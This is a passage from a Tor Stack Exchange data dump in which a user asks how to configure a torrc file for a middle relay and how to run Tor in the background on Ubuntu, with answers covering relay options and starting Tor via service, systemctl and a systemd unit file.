  <row Id="4584" PostTypeId="2" ParentId="4583" CreationDate="2014-11-11T07:44:32.173" Score="2" Body="&lt;p&gt;Tor 4.0.1 requires Mac OS 10.6+. 10.5.8 is not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#mac&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en#mac&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2014-11-11T07:44:32.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4585" PostTypeId="1" AcceptedAnswerId="4586" CreationDate="2014-11-11T07:58:53.527" Score="2" ViewCount="6814" Body="&lt;p&gt;I would like to know the changes required in the following &lt;code&gt;torrc&lt;/code&gt; file to configure tor running on my server to be a Tor relay and or a Tor Exit relay. I think I would first start with a Tor middle relay. I would appreciate if someone could take a look at the config file and advice for errors in configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the file currently in the directory. I understand that it is not configured. As I am a newbie, I didn’t want to do it myself for the first time. I would to tweaking as I would gain more understanding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first I would like to get this to work as a Relay or a Exit relay. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 9 October 2013 for Tor 0.2.5.2-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &quot;## &quot; try to explain what's going on. Lines&#xA;## that begin with just &quot;#&quot; are disabled commands: you can enable them&#xA;## by removing the &quot;#&quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &quot;SocksPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.l$&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;### To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD$&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;##ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;4 GB&quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;&#xA;### can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it wo$&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;## &#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;### Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;## &#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;## &#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &quot;exit enclaving&quot;.&#xA;## &#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like it if my quota is about 20GB for month. Max speed is 1mbps through Ethernet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If further information is needed, kindly let me know. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorDisplayName="user66" LastEditDate="2014-11-11T08:49:03.780" LastActivityDate="2014-11-11T08:49:03.780" Title="Editing the torrc file to set up a Tor Exit Relay in Ubuntu 14.01 LTS server" Tags="|relays|exit-relays|configuration|relay-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4586" PostTypeId="2" ParentId="4585" CreationDate="2014-11-11T08:07:25.307" Score="2" Body="&lt;p&gt;These options should be enough to set up a middle relay:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;Nickname shortNameOfYourRelay&#xA;ContactInfo John Doe &amp;lt;john.doe@example.com&amp;gt;&#xA;ExitPolicy reject *:*&#xA;RelayBandwidthRate 512 KB&#xA;RelayBandwidthBurst 1024 KB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you can, use &lt;code&gt;443&lt;/code&gt; as the &lt;code&gt;OrPort&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Choose a nickname of your own.&lt;/li&gt;&#xA;&lt;li&gt;Put your email and GnupG key ID in the &lt;code&gt;ContactInfo&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;reject *:*&lt;/code&gt; rejects &lt;em&gt;all&lt;/em&gt; exit traffic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For bandwith shaping, see &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#BandwidthShaping&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#BandwidthShaping&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2014-11-11T08:07:25.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4587" PostTypeId="1" AcceptedAnswerId="4588" CreationDate="2014-11-11T10:36:47.753" Score="2" ViewCount="20978" Body="&lt;p&gt;After configuring the Tor relay through a remote SSH session my terminal is still waiting (sort of stuck at this line on my remote SSH session ). it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 11 10:10:00.000 [notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 0:&lt;/strong&gt;&#xA;But I know if I exit the terminal Tor will stop. How can I end the SSH session  while I let Tor run in my remote machine?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ubuntu@ip-1XX-3X-1X-10X:~$ tor&#xA;Nov 11 10:09:46.345 [notice] Tor v0.2.5.10 (git-43a5f3d91e726291) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1f and Zlib 1.2.8.&#xA;Nov 11 10:09:46.345 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 11 10:09:46.345 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Nov 11 10:09:46.347 [notice] Based on detected system memory, MaxMemInQueues is set to 744 MB. You can override this by setting MaxMemInQueues by hand.&#xA;Nov 11 10:09:46.348 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Nov 11 10:09:46.348 [notice] Opening OR listener on 0.0.0.0:9001&#xA;Nov 11 10:09:46.000 [warn] Failed to unlink /home/ubuntu/.tor/bw_accounting: No such file or directory&#xA;Nov 11 10:09:46.000 [notice] Your Tor server's identity key fingerprint is 'Is it okay to mention it here?'&#xA;Nov 11 10:09:46.000 [notice] Configured hibernation. This interval begins at 2014-10-31 00:00:00 and ends at 2014-12-11 15:00:00. We have no prior estimate for bandwidth, so we will start out awake and hibernate when we exhaust our quota.&#xA;Nov 11 10:09:46.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Nov 11 10:09:46.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Nov 11 10:09:46.000 [notice] Configured to measure statistics. Look for the *-stats files that will first be written to the data directory in 24 hours from now.&#xA;Nov 11 10:09:46.000 [notice] Bootstrapped 0%: Starting&#xA;Nov 11 10:09:46.000 [notice] We now have enough directory information to build circuits.&#xA;Nov 11 10:09:46.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Nov 11 10:09:47.000 [notice] Guessed our IP address as 5X.XX.XX.XXX (source: 1XX.XX9.XX6.X12).&#xA;Nov 11 10:09:48.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Nov 11 10:09:48.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Nov 11 10:09:50.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Nov 11 10:09:50.000 [notice] Bootstrapped 100%: Done&#xA;Nov 11 10:09:50.000 [notice] Now checking whether ORPort 54.XX.X5.XX9:9001 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;Nov 11 10:09:52.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Nov 11 10:10:00.000 [notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Therefore&lt;/strong&gt; I edited this part in my torrc file expecting it would start after reboot and would also allow me to close the terminal after tor is called upon through SSH.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;RunAsDaemon 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt;&#xA;Can I now simply type Tor in the terminal and close my SSH and expect Tor relay to work? Would Tor now automatically start at reboot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my &lt;strong&gt;new&lt;/strong&gt; torrc file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 9 October 2013 for Tor 0.2.5.2-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &quot;## &quot; try to explain what's going on. Lines&#xA;## that begin with just &quot;#&quot; are disabled commands: you can enable them&#xA;## by removing the &quot;#&quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &quot;SocksPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C072093276A3D70AAD684053EC4D&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;## &#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;&#xA;&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;Nickname QwertyCoolGuy&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;4 GB&quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;AccountingStart month 11 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;&#xA;&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;ContactInfo&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;## &#xA;## If certain IPs and ports are blocked externally,d e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;&#xA;&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;ContactInfo &#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;## &#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is the very first time I edited this file and got it to work, so I would so much appreciate your input to the configuration file. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="4990" LastEditDate="2015-08-02T01:51:46.757" LastActivityDate="2016-02-29T22:38:44.170" Title="Run Tor in the background via the shell" Tags="|relays|exit-relays|configuration|tor-cloud|exit-policies|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4588" PostTypeId="2" ParentId="4587" CreationDate="2014-11-11T11:37:04.283" Score="4" Body="&lt;h2&gt;Upstart (Ubuntu, Chrome OS, Fedora 9–14), or sysvinit (Debian)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From your &lt;a href=&quot;https://tor.stackexchange.com/questions/4585/editing-the-torrc-file-to-set-up-a-tor-exit-relay-in-ubuntu-14-01-lts-server&quot;&gt;previous question&lt;/a&gt; I get that you are using Ubuntu as the operating system. The recommended way to install Tor on Ubuntu or Debian is to use the packages provided by the Tor project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor will then run as a daemon under a separate user. You don't start it by hand but you control it using a system service.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Do not use the packages in Ubuntu's universe.&lt;/strong&gt; In the past they have not reliably been updated. That means you could be missing stability and security fixes. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian.html.en#ubuntu&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start Tor as a service on Ubuntu or Debian, do (as root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then view the log file with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# tail -f /var/log/tor/notices.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Systemd (Arch, Fedora 15+, Debian 8+, RHEL 7+, etc.)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To start Tor as a service on a system which uses the &lt;code&gt;systemd&lt;/code&gt; init system, you can run (as root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl start tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To enable it to boot at startup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl enable tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have installed Tor manually or don't have a systemd service file for some reason, you can create a file called &lt;code&gt;tor.service&lt;/code&gt;in &lt;code&gt;/usr/lib/systemd/system&lt;/code&gt; or &lt;code&gt;/etc/systemd/system&lt;/code&gt; with the following contents before starting the service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Unit]&#xA;Description=Anonymizing Overlay Network&#xA;After=network.target&#xA;&#xA;[Service]&#xA;User=tor&#xA;Type=simple&#xA;ExecStart=/usr/bin/tor -f /etc/tor/torrc&#xA;ExecReload=/usr/bin/kill -HUP $MAINPID&#xA;KillSignal=SIGINT&#xA;LimitNOFILE=8192&#xA;PrivateDevices=yes&#xA;&#xA;[Install]&#xA;WantedBy=multi-user.target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure to change the path in &lt;code&gt;ExecStart&lt;/code&gt; to wherever you 